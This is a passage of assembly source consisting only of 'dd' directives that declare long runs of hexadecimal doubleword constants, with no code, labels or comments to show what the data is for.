0F8B6E7C4h, 7364F531h, 0F7B5F491h, 0E5C45161h dd 365288EDh, 0ADC244D8h, 75616F03h, 0BB78E084h, 471239Dh dd 0C7F1C9DAh, 996175E6h, 7E324BF5h, 78DC4520h, 147EF7AAh dd 6C7FD404h, 55C7CE7h, 0E7EA7AD9h, 0EC857079h, 6712D602h dd 0ED805265h, 6961B3FCh, 0BCADF604h, 0E2CA1231h, 0E77014F6h dd 0E004E896h, 0A18C5F9Eh, 76A1AC75h, 6DE1B3A5h, 0F8B6E544h dd 626DE1F7h, 60B6B714h, 0D7047372h, 269079ADh, 0B6D0C428h dd 0A384B0BDh, 81C3AE3Eh, 0AC75E221h, 4C42349Fh, 46206521h dd 60E7B448h, 84D9C471h, 61E06C27h, 0F0ADDC44h, 41ACCA61h dd 0C7B8AD84h, 0D5C41B37h, 0E060E9ADh, 889D9D4Dh, 2B428113h dd 0FBADD584h, 0F99E4521h, 420478B0h, 6B7C84F2h, 749039ADh dd 0C3B899C0h, 134BF776h, 73AD2DBDh, 1171E153h, 0D3E73B6h dd 0C044B38Dh, 8AE7FCADh, 977F61E3h, 84CB012Dh, 0F9B076FCh dd 0A24DA3E7h, 3181BC91h, 0D04469A3h, 0A162DFADh, 0ADD24459h dd 8E83C77Eh, 58B044FDh, 62B60D81h, 0C7BFAD69h, 49105923h dd 5321F670h, 488DF4D4h, 6563F7FEh, 0FCF4B51Dh, 0FE8BD423h dd 0A1ECADACh, 1C68EEDDh, 0C533FC83h, 0AD7668A9h, 0A026C7B8h dd 0BABEBCCBh, 81C9639h, 31F43341h, 3058C052h, 88C7B7ADh dd 488948F4h, 9ED301A8h, 0F0AD80E8h, 90A7D2C7h, 804EADB1h dd 77E0B450h, 4A907FADh, 0AD8028B2h, 4921BDEFh, 75BE9548h dd 5A5523D7h, 0C77F6DB3h, 0B622ED7Bh, 0CAE7FFADh, 0AD8BE8B4h dd 75E7E73Ch, 82C4583Eh, 0BA61A390h, 0E77CAD6Ah, 8330D433h dd 0B2E7F8ADh, 0ADB930ACh, 0C4BAF7B6h, 9FAD9668h, 84792022h dd 0F7FCF2F4h, 0F904A88Ah, 0C57AEEADh, 0ADF78416h, 0FF76B04Eh dd 7834BF24h, 0E2941EF7h, 205F22D5h, 0F4847920h, 8AF7FCF2h dd 0E4ECE1A0h, 7D20ABA1h, 32AD868Ch, 568B20Fh, 0F77DADCEh dd 0D00469A6h, 0E2D77FADh, 0EDD50571h, 6DE2F7FEh, 0EBADC805h dd 0F3CCB45Ch, 0D7AE0FBEh, 0D24565E2h, 72C73FB4h, 0B4DF4468h dd 6D21C732h, 84ED8822h, 2DE7FAA3h, 0C7B1ED7Ch, 0E207D67Dh dd 3C4575ADh, 0ED1FE3CDh, 0FCBDC7FCh, 47ADC6C6h, 455926A9h dd 0E7B5ADE1h, 0DBC461A0h, 0E181D5EDh, 74E0C441h, 6160F771h dd 51848992h, 0C490BFA2h, 8154ADE9h, 0B1FC51A1h, 21E7EDADh dd 0ADEBC461h, 6D26F734h, 6DEDD545h, 8469E7E7h, 0F773ADECh dd 0D40551A1h, 67E76AEDh, 0B582B04Dh, 69E7E7F8h, 7AF2C044h dd 4551E7A0h, 0E73CEDC3h, 0CA0549A2h, 0E7A124B5h, 0EDC54541h dd 0B8BCF7EAh, 8334C9C4h, 2CE07BA0h, 20BA348Eh, 0CE05E07Bh dd 44D73034h, 0ADED84F4h, 4DE691DFh, 0B4ADAD42h, 0E47961F7h dd 532CADB1h, 48E26C04h, 0A361600Ch, 3CE3456Dh, 5679B993h dd 6304E705h, 0ECF10675h, 2148FCB0h, 0C5447D23h, 0A32183EDh dd 0ADD645DCh, 0C3B4B12Fh, 0AEDC504h, 0CCCB021h, 0D731AD61h dd 0D50561E1h, 0E6E768EDh, 0EDD605C0h, 0D5F769BBh, 0BDC27D12h dd 1C49E3D7h, 82B9AD61h, 8BADCC0Fh, 73C139ADh, 5A912280h dd 41A491A0h, 0DC74E344h, 0E34D63E7h, 0C73C6D38h, 0FC44CCBDh dd 6DC4E93Fh, 54EF444Dh, 7D23E721h, 8D2D84E3h, 4549A29Bh dd 7CECB2DBh, 0A85D7DA2h, 0B4F767EDh, 0BC98EDE4h, 592A9BD1h dd 0FAF6FD06h, 697DE4F7h, 33A26DAFh, 0DAC7E4B4h, 4F324A6Dh dd 6DE685ECh, 7497E76Bh, 2AED835Ah, 0A26561E7h, 0A5D124F5h dd 0F5A2E5F8h, 0FFB5D124h, 70FF05A3h, 7D25D7C5h, 0A0ED9228h dd 565ACA3h, 15218BFEh, 0E5A2652Ah, 0DDC7A66Dh, 0ED24A2E5h dd 416CA3A0h, 0C51CF5ABh, 8B41EF2Dh, 545719Ch, 21A2E55Dh dd 92C7B5EDh, 0E6716BC4h, 4128A5D1h, 832DA18Bh, 0C56EF825h dd 0F7D8FCF0h, 0F8AAF15Ch, 92C0333Eh, 3EF845F4h, 0E594ECE7h dd 0ADEDC1A2h, 0A2E59AE2h, 0F72584C9h, 0B555E3B8h, 18FEEB24h dd 0F9C4C454h, 44DDF7C9h, 0FE66E975h, 3551E2ADh, 0F4B666FCh dd 0FCC744B4h, 0E2ABD1A1h, 0F9C48787h, 64DDF7D1h, 0FE66E96Ah dd 55612EADh, 0A5D1269Dh, 0FC86B765h, 2EABD1A1h, 21F046A7h dd 769FB5D1h, 0D1BEDCC5h, 0EAF733A5h, 23BBED69h, 0ECEB61EAh dd 0E6ABD166h, 66C4B141h, 0A5743DB9h, 0F1C01582h, 82A574F7h dd 0E7526D09h, 0FAC7F45Fh, 0EF01CF2Dh, 76CD4661h, 45EBC7CCh dd 0E7AD9C4Bh, 9361E4C0h, 0B281ED8Ah, 0A49361E1h, 0E892812Dh dd 2D809361h, 612B9281h, 7BEDA493h, 858865E7h, 0F7AE78D4h dd 0D4C400FEh, 0FEF73378h, 40D84410h, 8C65E73Bh, 0F838EC44h dd 0C73C79F7h, 0F7C338ECh, 0EC472C79h, 79F7CE38h, 38EC073Ch dd 2879F79Fh, 2738EC06h, 0F54522E7h, 0B299ADAEh, 821261A0h dd 0E2B299ADh, 0B59E1261h, 612DF0E7h, 996DBA12h, 12616FB2h dd 0B2992DA3h, 8112612Ah, 65E7BAEDh, 0FBF8C494h, 3004F77Eh dd 0FBF8C7h, 470004F7h, 0C74DFBF8h, 9BF54522h, 0E842A86Dh dd 2D831D71h, 716A62A8h, 3AEDB71Dh, 0DC0044C7h, 42B7ADA5h dd 83DC41E0h, 0F862B7ADh, 0E6F1A2E5h, 0E5F825E0h, 0CBEDF9A2h dd 0A2E4BDC7h, 2DCF46CDh, 0D38565EDh, 0A5F7EDB6h, 0EDFC8769h dd 61E2ECE7h, 0C1468D5Fh dd 0A224CFF7h, 25E066DDh, 0F485E733h, 0BDC78B03h, 2D656BC4h dd 41E06A88h, 880E959Eh, 0A9B7E26Ah, 0F7EF84C9h, 0DF0540B4h dd 0A0A1446Dh, 7BC406B7h, 7DE4F7D7h, 0A36D8928h, 46DF3322h dd 0C1E11BCCh, 6FA9C492h, 0E1C7BBEDh, 464D5F69h, 2614F7E9h dd 0CA24F5A2h, 60D594ECh, 0B3A0ED69h, 0ADD951EBh, 54F7F0C1h dd 6D9F81B1h, 13AD22A6h, 0E16D2699h, 0A1F3D7C7h, 22A36DB9h dd 0FC46B7A0h, 0B724E3FAh, 0A2C1A9B5h, 5D69E727h, 87C939FFh dd 0C40A9535h, 2841EDFBh, 0E1A9B7A7h, 0DBF729E2h, 0EDF5A226h dd 0C618C761h, 0E5FCE885h, 847560ADh, 294623E3h, 0C1A961A5h dd 62C7ACFCh, 0F4E5397Dh, 66B4F7E8h, 0D7E4C5E1h, 214D22C7h dd 0A5B4FCFFh, 1C41E1F5h, 0F524A8EDh, 0A4E00454h, 4AF7B5E5h dd 0E57CE4C4h, 0C361E09Dh, 0F733C4B5h, 46F544FDh, 0A0A385ADh dd 7CE4448Bh, 61E29DEEh, 0E5EDA0C3h, 0C3616293h, 3C86EDA3h dd 0E5C578FDh, 0FDF707FCh, 0FCE5C544h, 40FDF701h, 3FCE5C5h dd 0C940FDF7h, 0F74CEDA5h, 0E407623Bh, 6E3CFF7Ch, 0ED2BC361h dd 71EFA3E5h, 0ADE4E5E0h, 0E361699Bh, 0D7EEFCE5h, 0E5E07DE4h dd 28B96DE4h, 3C0E361h, 0E1F565AAh, 8CE4C461h, 0E1E5CD2Bh dd 0D7BDE4E5h, 25BB6D24h, 0DBF79EE4h, 445D2304h, 0F7F4ADD5h dd 8BE7D887h, 4774F565h, 0ADEAFFD8h, 0D804F737h, 0AEADCBFFh dd 0DCC42D51h, 0E5FDF79Bh, 0AA2D9DC1h, 41E1F565h, 0A3ABED2Eh dd 0DC85EBB7h, 24ADCBDCh, 0A4E38575h, 0FAF785E5h, 0E5FCDC05h dd 6941269Dh, 25A886D4h, 3641E1F5h, 0CBB5ABADh, 0E4E529F3h dd 41A3BBADh, 0A846CC21h, 61D1F525h, 0F738FCC1h, 0DC045A11h dd 0AD9DE1FCh, 449D0141h, 6476F706h, 0AB6D72E2h, 87DB37A3h dd 9DD1FCDCh, 0BD0141AFh, 76F70E04h, 6D526264h, 0DB7BA3ABh dd 0D9FCDC07h, 0D571698Dh, 93AB2D30h, 0B8C16565h, 45A3AB2Dh dd 0FCDC46F3h, 0C30FF7A6h, 98C7B101h, 0C55876F7h, 0F79AFCE5h dd 60BE7476h, 76C73BEDh, 0FCE585E0h, 2C21F7A6h, 0A0FCE585h dd 852821F7h, 0F7A2FCE5h, 0E0853421h, 0E6DAB2C2h, 0EDB3D451h dd 516693E5h, 0E5EDB2D4h, 9451E193h, 0F2B6AD2Eh, 68634164h dd 649DEAB9h, 0E650BE51h, 0F19CB5E5h, 0C8C43597h, 0E07DA4F7h dd 856DE4E5h, 0E5E1E5F7h, 0E7E77AD4h, 63F36F6Dh, 716BA1E5h dd 0D3E689D6h, 0C934A9F7h, 8BAD2160h, 0CC374122h, 0B1C76081h dd 0E4C7E1E5h, 0EDF7856Dh, 0E5E4E561h, 8455A2B9h, 0FA5E63EBh dd 0E5369172h, 76F7FEFCh, 67D92F34h, 1476F7FAh, 82ADE9AEh dd 31412DAAh, 0B5ADE4C4h, 0E561E1F7h, 0AFBBE5E4h, 0A0DF844Dh dd 512F89E5h, 0E521D832h, 0B351EAA3h, 9DE567DCh, 0F3AE4DA4h dd 0E4AA82BAh, 0E4A51D71h, 0F5B7A5ECh, 0E5E4C161h, 7C7F5A5h dd 0A47BADFDh, 0E4C6E2F5h, 0CBF49A63h, 67911DF3h, 71AD65CAh dd 8C82D43Dh, 0FC41AC6Ah, 0F7D5DCC4h, 6DE12421h, 0F4E2B62Dh dd 0B9E886EBh, 71288DCBh, 0D3C40997h, 0E1A541F7h, 0E784DCC4h dd 0E5214D22h, 64E7E0F4h, 0E4E5E07Dh, 0EDF7856Dh, 0E5E4C761h dd 54A4F85h, 89E5A0DFh, 0D87871AAh, 97BDA321h, 67D92F34h dd 1497F7FFh, 87EDDDAEh, 7971622Ah, 0F79ADCC4h, 99C1A56Eh dd 0F524AC6Dh, 0ED3041E1h, 0D3F522A3h, 0E8FAFC85h, 230454BFh dd 3A9EED48h, 255A51A6h, 782AA3ADh, 0E2C046E7h, 0C1C2B523h dd 0AFE4CC61h, 81C97495h, 0C79FAD32h, 5A1C9CFh, 2AB5B3ADh dd 0ED7C3381h, 0F14E8442h, 0BAADB9A1h, 45D508A3h, 0F7FE9CD8h dd 0DAA14832h, 0BEF7E205h, 0ED41A148h, 0E7FD6BA6h, 2364C007h dd 845A77B5h, 0A3A0E2FCh, 0FE637128h, 77B5AFE4h, 0DCFEA1C9h dd 4DE7F77Eh, 74A4D7A0h, 0F14D6442h, 63A9FCF0h, 0D445E7B2h dd 37A523FFh, 0E4FE61D5h, 51658D23h, 0BCA4D4ADh, 81F1C6BDh dd 6BAAADB5h, 0CCEC71E2h, 9BF700DCh, 0E4FEA10Ah, 0C9749523h dd 0A2EDD9A1h, 0DFCD70C7h, 0A5F83F30h, 6D20F7FDh, 7D63A92Dh dd 447DE3C7h, 6168ADF8h, 0CD06150Dh, 0E364C6F7h, 75B42D4Dh dd 0FE61C177h, 0ACBB23E4h, 0A4FF8545h, 48C88579h, 43E7D785h dd 4410B3h, 9523BE78h, 0C007EB2Ah, 35F70B5Fh, 0AD59E366h dd 0C17415B9h, 8C2D3541h, 4F71685Bh, 7B8C2D0Dh, 3DC151AAh dd 0D2F7CF44h, 0DCCCA1C9h, 7D22F724h, 9FED2A23h, 85CFB223h dd 0ADE13ECCh, 0D446F77Dh, 77B523A6h, 1ECC455Eh, 62DAF768h dd 0A026DCC4h, 855564A3h, 8523E4FFh, 0CC84FE77h, 0DAF7721Eh dd 26DC447Eh, 8966BDBBh, 0C1DCCCA1h, 81B16EF7h, 0D4AB6DA5h dd 1D41C174h, 0ED2B9FADh, 44250A41h, 8966F7CCh, 6DCCCA1h dd 20765AF7h, 0D4AB2D75h, 441C174h, 0B4F4906Dh, 0E1DC0674h dd 0C152B523h, 992D254Ah, 4A41290Bh, 0F7D244A5h, 4FE3445Bh dd 7C239F2Dh, 0D8D806C7h, 5D22C765h, 0B6ED2931h, 0D051A48Ah dd 8AB6ED05h, 11D05167h, 268AB6EDh, 0AD2DD051h, 51E08AB6h dd 0B6AD39D0h, 0D051A38Ah, 8AB6AD15h, 21D05162h, 2D8AB66Dh dd 6D3DD051h, 0FFF4A2B6h, 0A2C1D085h, 0A1C974C7h, 0F7CED4CFh dd 51A10831h, 0FDAA946Dh, 20F446F7h, 5677B523h, 0EE18E086h dd 0A14D244Fh, 0A96FE4FEh, 0D4BD71EAh, 7454AD80h, 0ED2741C1h dd 0CEBEC73Ah, 0D5BBF8C5h, 7D6160A5h, 0B58EE4FEh, 441F3683h dd 0A4B523E3h, 0ED139C91h, 0E31974BCh, 0AFE4FE7Dh, 0FF41618Bh dd 0F7D0FCF0h, 0CCA189C7h, 4DF7F2DCh, 0E344F0A1h, 0E3B9B523h dd 2344ED45h, 456D6BA9h, 0F7DD74EDh, 0A5E365ECh, 7412AFADh dd 0EDC644DDh, 6DE2A1C7h, 0CA74E587h, 81B1D6F7h, 22AA6DA9h dd 9DD8612Bh, 14C7222Dh, 0ED8DC3ADh, 6567A1C7h, 0CB74E587h dd 81B114F7h, 0E76FAD8Fh, 0C846C47Dh, 50F7D1FAh, 0EDAB81B1h dd 407DE72Fh, 0A92DA158h, 0DB937D34h, 22B52D91h, 0E8B951ACh dd 0A9228644h, 0E4BE5951h, 0FF749523h, 0C3BADC04h, 471452F7h dd 0F7CABADCh, 0DCC61C52h, 52F752BAh, 0BADC0624h, 3C1DF7E5h dd 0A002CCC7h, 45512CA3h, 0F7C174EDh, 0A1E34527h, 7DE7AE6Dh dd 0FCE404ECh, 7CF5F7FDh, 68FCE4C4h, 4574F5F7h, 0F767FCE4h dd 0C90664F5h, 68A165EDh, 6D9B8151h, 512F83A2h, 0A26D8581h dd 8151ADA3h, 0A3A2AD91h, 0B38151A3h, 61A3A2ADh, 0ED9B8151h dd 512783A2h, 0AA6DBF81h, 0C0512F22h, 0A3B62DADh, 0BFC051E8h dd 313CB12Dh, 0EDC1C56Ch, 71A4A165h, 0BCED8940h, 407126A3h dd 0A3BCADADh, 89407120h, 0EDA3BCADh, 6DAB4071h, 712CA3BCh dd 0BC6D9740h, 4071A983h, 0A3BC2DBDh, 9340716Bh, 0A5A3BC2Dh dd 0BCC34571h, 6167838Dh, 8DED9F43h, 436161A3h, 838DADBFh dd 9D436163h, 6D838DADh, 6DBD4361h, 612FA38Dh, 8D6D91C1h dd 4361A983h, 838D2DB3h, 8B4361EBh, 6A838D2Dh, 0EDB54361h dd 0DCF5C76Ch, 693CC085h, 0C46CBBF7h, 0F7F23CC0h, 0C0046CBBh dd 0BBF7C73Ch, 3CC04764h, 44BBF7CBh, 0D33CC0C6h, 467CBBF7h dd 0F75B3CC0h, 0C2C554BBh, 0E78165EDh, 0ED9D8D41h, 416163A3h dd 0A3AD838Dh, 8D416263h, 43A36DA3h, 838D416Ch, 0AE43A36Dh dd 2DB78D41h, 41EB63A3h, 0A32D938Dh, 857C347Dh, 0F764FCF8h dd 0E8067C34h, 40F7DF7Ah, 0BFFC864Ch, 5440F756h, 4FBFFC07h dd 874C40F7h, 0F7C4BFFCh, 0FC047C40h, 40F77FBFh, 0FCE4C664h dd 64F5F7D1h, 4CFCE446h, 0AF78FFF7h, 0E7C5FE61h, 0AC8F7165h dd 0A55380EDh, 0EDA38F71h, 64CA6380h, 0D047EAC7h, 40ED6F7h dd 0B37BEDCCh, 0DC84444Eh, 4EF7757Fh, 7FDC0564h, 7C4EF7C0h dd 597FDCC5h, 470C93F7h dd 0F7E17FDCh, 0F0855C88h, 88F76F3Fh, 0BADC8474h, 5C4BF7F5h dd 0E23FCC45h, 0C54C4BF7h, 0F7DA3FCCh, 0DC46544Eh, 4EF7D37Fh dd 7FDCC644h, 644EF763h, 0D43FF046h, 76488F7h, 0F7423FF0h dd 0F0C75C88h, 88F77B3Fh, 3FF0444Ch, 4C88F773h, 0EB3FF0C4h dd 74C88F7h, 5D067FDCh, 0A98F7165h, 667380EDh, 0EDAA8F71h dd 51204380h, 80EDA0C0h, 8F716543h, 0F73E47B1h, 0E8C47C8Ch dd 31F7E8BCh, 38696F74h, 71A4E7C5h, 80EDB28Fh, 0E3640D43h dd 73808680h, 918F7125h, 0E2D7C53Eh, 0ED374F71h, 61AA83B6h dd 6147BD0Fh, 85648CF7h, 0F7007FF0h, 0FC85688Ch, 317FC85Fh dd 0AD67EF58h, 412463B3h, 86ED958Ch, 846B0D1Ch, 0F734ADEDh dd 0E30475A3h, 23E73EADh, 0AD976475h, 75E3F7F1h, 0B5ADCD04h dd 0C4FF98E7h, 0E7F6ADEAh, 0CB84ECA1h, 23E7FCEDh, 0EDA52A6Dh dd 79E5E734h, 0B5ADF684h, 4461A0D7h, 353ADCCh, 0D0C451E2h dd 0A2E7FEADh, 0ADD54441h, 71A3F7FEh, 0BCADD3C4h, 47523C7h dd 21F87EF5h, 0D7C4685Ah, 0DBC7BCADh, 772AF5C0h, 0EF9AD7EBh dd 39ADC084h, 0B5D058F7h, 0D18ED39h, 0C0842B65h, 0E3D0E7ADh dd 0EDBC5561h, 7123CEA8h, 76ADC804h, 4F858F7h, 0C73FF1E5h dd 0B16BB565h, 23D7FEC1h, 0D1B87549h, 59E601DBh, 69EDD684h dd 45DADAE7h, 319336D0h, 0E4046561h, 0A3E7FCADh, 0ADF1046Dh dd 9865E1BDh, 0FFF1A3EFh, 46523E7h, 0F7F9ADC4h, 112A6563h dd 58E7A5ADh, 0ADCAC454h, 45E3F73Dh, 7EADACF5h, 4459A3C7h dd 0C72D3EC0h, 987771E5h, 0EFC7BF36h, 0ADDF4480h, 0A4A4D7BCh dd 6A798417h, 4480E1C0h, 0D77EADCAh, 0F6C5E876h, 0A3F0E7ADh dd 0EDE50465h, 0BF62D79Ah, 6ADB5B5h, 0C56DAF51h, 1DAADF7h dd 0C60404A3h, 0E9D096ADh, 0EDCCC527h, 0AC64D28Eh, 3DB1C104h dd 447163D7h, 0E29DADC1h, 0CB446163h, 6DF73CADh, 41FE868Ch dd 4563E7F0h, 2AD8195h, 0C761E5E8h, 0D7F4EDE5h, 9DB50826h dd 6BF4D561h, 0AD73B749h, 75E21112h, 9C3184D6h, 0C56DE421h dd 0E0A3ADEDh, 852AACEDh, 6C911E71h, 0ADD0C4ABh, 9064E779h dd 79ADB5F5h, 758CEFE7h, 0D71276B5h, 8E3717F5h, 23D735ADh dd 0C1C50471h, 8C68D7CBh, 0B698B1D1h, 4451A3F7h, 0D7BBF1E5h dd 7311D0B3h, 0B0F139F0h, 0EDB7309Ch, 9AA49EAAh, 3AD98EFh dd 445921FCh, 0F025ADC1h, 0CCC47DA3h, 21C0E7ADh, 0ADC84461h dd 589BF7BCh, 0E760F804h, 365161E0h, 8C4E3694h, 0F3C569ADh dd 0E2C7BFADh, 71872475h, 0AC6492F0h, 32D6DF4h, 441E0DCh dd 0B07BB5D6h, 0A57390F3h, 0E5C725EDh, 0B1C1C479h, 98EFC77Dh dd 64AD8E97h, 52886C12h, 0F7679067h, 0CB84327Bh, 0DDC19ADh dd 20FCC6E0h, 41A1A07Bh, 0FAB9A4F2h, 4E09BB2h, 0D7BD49FEh dd 0EAC4F0E2h, 0DD0E5B0h, 0D8F0C7E8h, 0E49BBC0Ch, 0F041FE47h dd 0B087EDBCh, 0D765727Ah, 8CD1882Ch, 0E2C77DADh, 0C3C34461h dd 656EF7E5h, 9A31C4C5h, 44BDB021h, 0E820EDE5h, 0A14A32B0h dd 3EFE3D76h, 9B9CAAB2h, 49E35875h, 314042B7h, 0C524AEF7h dd 0F097EDFEh, 0CA84A64Fh, 2BD7BFADh, 0EDB5EF9Bh, 0B4615C88h dd 7CADEA44h, 0EF9BBFD7h, 0D7256D81h, 831741A0h, 0AEF7E548h dd 13755051h, 1F89D760h, 0CAD3BB5h, 475E174h, 70BD70ECh dd 0A3B549A2h, 33F71643h, 77EA7508h, 0FF5D711h, 0CAD9530h dd 86709BB4h, 0B9DE2FAh, 0C4B24169h, 0E2D7B510h, 8467379h dd 6DE5C7B8h, 0BBAD67D5h, 84B464D7h, 0F730ADCAh, 0A6647563h dd 86D0DAADh, 33F287A4h, 9C0F19DAh, 36F1AD36h, 444DE3C7h dd 0D7B181E4h, 0AEB58040h, 0E9E4CBF1h, 0B38EE2A9h, 0A56EEC1Eh dd 0BBF4E2F6h, 0B588E54Ah, 0C7E5F89Ch, 0AD5051E9h, 1E50E9F1h dd 0EDA7D2B6h, 55E2E736h, 4A0B1F5h, 0D299B9D7h, 41063104h dd 0E7F279EDh, 0E11C5888h, 0A0F4F041h, 7561B0B3h, 8EEDE544h dd 30AE88D7h, 0D7E590DFh, 2F1C4121h, 61039CC9h, 0F3693F71h dd 4F9E2DAh, 0C114136h, 87BFC9B2h, 8BE3EDE7h, 97A098E2h dd 249167BDh, 8C63F71h, 69E5D772h, 0BEAD9779h, 3C900ED7h dd 0D73583F3h, 9C64D875h, 6C6875ADh, 0B4CA6079h, 7162E036h dd 6BB48120h, 0AA949399h, 0E02AAD8Dh, 0B66059E2h, 0E2A186ADh dd 0ADCD0469h, 0F0758091h, 8563C244h, 6169ACAFh, 814A9A8Fh dd 0B9E3B510h, 0EF7233ADh, 0F4F1C43Ch, 5D6191C4h, 0B4ADAB6Ah dd 346D21E7h, 0D7E52DC6h, 87A0E030h, 2391B134h, 0B4E00479h dd 41E5F78Eh, 60ADD6C4h, 87EC7549h, 0F731EDE7h, 0C704F839h dd 35F738E7h, 742DADFFh, 48B1B109h, 0A0F7CE05h, 2165A3A1h dd 0D7BDF4B8h, 81C0B02Ah, 4475A12Dh, 6D7C3144h, 2F7DA2A0h dd 37AD2F4Dh, 37F4F463h, 0F77DAD95h, 0C104AC00h, 36F7F4ADh dd 0F4EF44E0h, 4DE5F758h, 0EDA75ABAh, 7C49E9B1h, 0F7F8F280h dd 0C52C5962h, 35F1E5F4h, 57EDEF67h, 3833F763h, 0CC31FB44h dd 0AD9CD2Ch, 0B1AAAD88h, 0EEC46CB1h, 0F753A53h, 0B7CE4760h dd 0B4EC6197h, 0F131DE04h, 0C6C87545h, 0C0B67AC4h, 0B060E4BBh dd 268300DFh, 87F6EC49h, 0B4B38D85h, 0ABAD9FC0h, 84FAC175h dd 0D720F4EFh, 0A2216BF8h, 0B391A337h, 0ED258DB0h, 75E5C74Fh dd 7EB3C684h, 4455E2D7h, 49B142D8h, 0E286DC75h, 0A715A1CEh dd 0ADD7EE71h, 0CDC06960h, 3CEDA0E1h, 0D1FC8BA1h, 0A167A735h dd 5A34492Ah, 0E250E9B7h, 0ED1F7349h, 0C9C0BE82h, 39DCE8C5h dd 8BFCF6D7h, 0F759F4AFh, 0DC042BE8h, 0E3D77EADh, 0ADC0C449h dd 4DE0D7BBh, 0E540BDEFh, 22D8B3D7h, 45F1AD8Eh, 0B5B0D475h dd 23D7759Fh, 6DAB4C79h, 7DA3433Fh, 488B28ADh, 6CE4B714h dd 0F7E4B4E0h, 0D084639Ch, 0D3916CADh, 27E085F9h, 7CDE7396h dd 39ED656Ch, 95E946F7h, 9123B6BAh, 7070C4FDh, 0C5D731ADh dd 2DF1EDC4h, 7C89C7A5h, 0EE3E07B1h, 0C04C89CCh, 0B1A5ADB3h dd 0A05665A2h, 0A2D718BCh, 0B48635B7h, 8D2DC7BBh, 0E7819248h dd 6C7CDB0Dh, 0CC382D74h, 917F276h, 0CCEC382Dh, 2D3D17F3h dd 0DCB7D438h, 9DB460D7h, 56812FF7h, 0DE8A2D2Eh, 0A54AEFCBh dd 0A1E7B5EDh, 0ADE4847Dh, 4561F7F1h, 3EDF5EDh, 0C4C27683h dd 6147B6F8h, 8C48C0DBh, 31B303ADh, 7AB4E3D4h, 83CEA1A5h dd 6C7CBEECh, 0E18D76A0h, 0E7BC34A5h, 0E9C45A45h, 0E1F7B4ADh dd 0ADF18471h, 61A445E7h, 0E50C58D3h, 5C496EC7h, 8167567Fh dd 0F0E151A1h, 341943FCh, 6492B060h, 41AE9ABAh, 57776F92h dd 717DE2A2h, 0F73EAD83h, 0E885E4B1h, 23F73ECCh, 0B4B4AE4Dh dd 692340FDh, 942DB243h, 0DD49A261h, 5321AD92h, 637054C9h dd 0ED985A37h, 0CD87A79h, 0AD7BF785h, 68ED2572h, 6D65E5C7h dd 2142ADA7h, 0A56CDAB7h, 73D7E2EDh, 73405F1Bh, 7D23A104h dd 0EFD3A5FFh, 0C4D771F7h, 505776D4h, 0AF21E8F4h, 0C7D7FCF4h dd 0AD430293h, 0A16D5C2Dh, 66C386A2h, 0C4B6C0A3h, 0F73534D2h dd 0A09D4D21h, 0B130BAFAh, 0A3C0C470h, 5C165CBEh, 0B6EDE644h dd 0A0D1B0B5h, 0D77CF4EFh, 0DC84F5F8h, 0E56181ADh, 50CE0741h dd 6561E7FCh, 0A17F6980h, 0E9443A41h, 0B179AD93h, 4E74F430h dd 0A032E693h, 2361E151h, 0B88864D6h, 14639AB7h, 291A0954h dd 6493ADB2h, 0E5F9AD49h, 71F7ECEDh, 74393FFFh, 44B23176h dd 8220CCC7h, 47E875CEh, 0CE82EDE7h, 0DD04EC1Bh, 77539370h dd 0BC465918h, 927FD74Bh, 0B4434C7Ch, 78612EB3h, 232A92CCh dd 77C151A5h, 0E5A208F0h, 0C4E88769h, 51A1F736h, 6772ECC4h dd 0E041A691h, 3BF6356h dd 0B5AD612Bh, 32B1D671h, 0ADD0C4EFh, 69A3C77Ch, 947CB260h dd 4037FD7h, 0D7BE3FEFh, 0E2052B5Dh, 1C4154D3h, 0ED65BDECh dd 9685D7E9h, 13B581A3h, 8441A11Eh, 0E7D96DFEh, 0ED047DE5h dd 61C72EADh, 0ADCFC469h, 4C5BC756h, 0C8F4A54Ah, 6E6526F7h dd 0C7C52DA9h, 0ECC6E4B5h, 22D7F9FCh, 6D80E17Dh, 612EB3A1h dd 0A12DB681h, 81616B93h, 93A7EDA6h, 82C14164h, 26B3A7EDh dd 0ADB0C141h, 416D83A7h, 0A76D87C1h, 0E1E7F5A3h, 0E794ED4Bh dd 0ECC4D8BFh, 0E99164EDh, 0FCC7C549h, 0CCB5C7B6h, 6AEDDC85h dd 44D4F5A5h, 9164EDE9h, 0DB854DAEh, 27B1E5E4h, 0FCE5A041h dd 7636D767h, 0C536C9C5h, 86E7F5E7h, 0A1776DDDh, 0DB8771E6h dd 26D76ED4h, 0ADF3C461h, 6DE3D732h, 0D6ADBAF2h, 0C4244671h dd 0ADE5ADE5h, 4EA3D5BCh, 23D732FEh, 0ADFA447Dh, 0E4803333h dd 0FCB5D6C4h, 0A3F77FC7h, 0C77D44F9h, 0DE84D81Ch, 79A2DC34h dd 5CFC63D1h, 0D8CC710Dh, 0CBF7F684h, 0E1667BB0h, 0C758AD4Ah dd 0E5C5EC71h, 0A5F7EDFCh, 0EDFC8769h, 0E536952Ah, 0EB2D69E1h dd 4F0B5C7h, 0F2716DFDh, 0C0056486h, 25B1772Dh, 0C7DB4449h dd 7D218177h, 0BADE546h, 219834E7h, 55B6ED24h, 0E8ECD136h dd 1B52AA7h, 0A7E8ECD1h, 0D901B52Ah, 0B6A7E821h, 21D90175h dd 75B6A7E8h, 0DA21D901h, 36952AE4h, 0E4DA21D9h, 0D936952Ah dd 2AE4DA21h, 21D93695h, 952AE4DAh, 0E521D936h, 0E5D7F9FCh dd 0EDE5C469h, 7D2AD7D7h, 6087B1E1h, 28D35BC7h, 0F725FC65h dd 0A5E34612h, 0F5E7E3F4h, 0FCE5C570h, 7CF5E7A6h, 0A7FCE5C5h dd 0C578F5E7h, 0E7E6FCE5h, 0CCC544F5h, 1F2DCC5Eh, 464DE3E7h dd 0C11FF727h, 0FA463908h, 851251Dh, 3DC28729h, 0B7C165E4h dd 123D99EDh, 5EFC4562h, 4212F7A8h, 794EBE95h, 9BC21201h dd 0F7710E8Ah, 0FC846A5Ch, 5252855Eh, 1EE08443h, 535CD239h dd 0BEC7F044h, 8554F52Dh, 522BFCE5h, 596B67DFh, 0FDAD0786h dd 9CD8C7E3h, 6ADFF745h, 0C49EDCC7h, 87625CF7h, 0E7AFFCE5h dd 0FC875CF5h, 12F78D5Eh, 1EE04776h, 7A5CF70Ch, 561EC807h dd 867A12F7h, 0E7E31EE0h, 4D6B545Fh, 0B5C7C3ADh, 6DFF44CCh dd 0A764A164h, 2AE4DAACh, 21D93695h, 55F087F1h, 0DF84F536h dd 36D4DFEDh, 6D7D76E6h, 0A66BE7ABh, 0DFEDD606h, 21D980E8h dd 0A52AE4DAh, 0DA76C7F5h, 36952AE4h, 0E4DA21D9h, 0D936952Ah dd 